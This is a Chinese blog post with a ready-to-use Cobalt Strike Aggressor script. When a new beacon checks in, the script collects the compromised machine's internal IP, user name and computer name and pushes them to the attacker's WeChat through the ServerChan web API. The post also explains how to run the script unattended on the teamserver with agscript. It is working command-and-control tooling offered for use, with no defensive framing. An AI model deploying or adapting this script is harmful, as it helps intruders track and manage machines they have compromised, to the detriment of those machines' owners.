Server酱是什么 「Server酱」,英文名「ServerChan」,是一款「程序员」和「服务器」之间的通信软件。 说人话?就是从服务器推报警和日志到手机的工具。 开通并使用上它,只需要一分钟: 登入:用GitHub账号登入网站,就能获得一个SCKEY(在「发送消息」页面) 绑定:点击「微信推送」,扫码关注同时即可完成绑定 发消息:往 http://sc.ftqq.com/SCKEY.send 发GET请求,就可以在微信里收到消息啦
先看看效果
复制下面代码保存为 http_ftqq.cna
文件。
或者百度云下载:链接: https://pan.baidu.com/s/1lAWUKCN_wHgTAj54lGA4jw 提取码: yaxr
注意:需要修改代码25行链接内容为你Server酱的SCKEY码
# 循环获取所有beacon
on beacon_initial {
sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
#获取ip、计算机名、登录账号
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
#get一下Server酱的链接
$url = 'https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0Aip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;
http_get($url);
}
把cna脚本添加到本地客户端后,如果beacon上线了,这个提醒的请求 是从客户端发出的。
那么问题来了,如果我要接收通知,是不是就得一直开着客户端连着teamserver?
这样就非常不方便了,而且如果网络有波动,断开了到teamserver的连接,就收不到通知了。
其实在服务器端有个 agscript
文件,他就是用来在服务器端运行cna文件的,这样就不用一直连着服务器端。
./agscript [host] [port] [user] [pass] </path/to/file.cna>
-
[host] #服务器的ip地址。
-
[port] #cs的端口号,启动cs时有显示。
-
[user] #用户名,用来运行这个脚本的用户名,随便即可。
-
[pass] #cs的密码,就是启动cs时你设置的密码。
-
[path] #cna文件的路径。
注:Server酱 同样内容的消息一分钟只能发送一次。
过程中遇到Server酱微信推送中的问题
输出到微信端的文字不换行。
最后查百度找到的内容是写在URL里则应该是%0D%0A%0D%0A
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统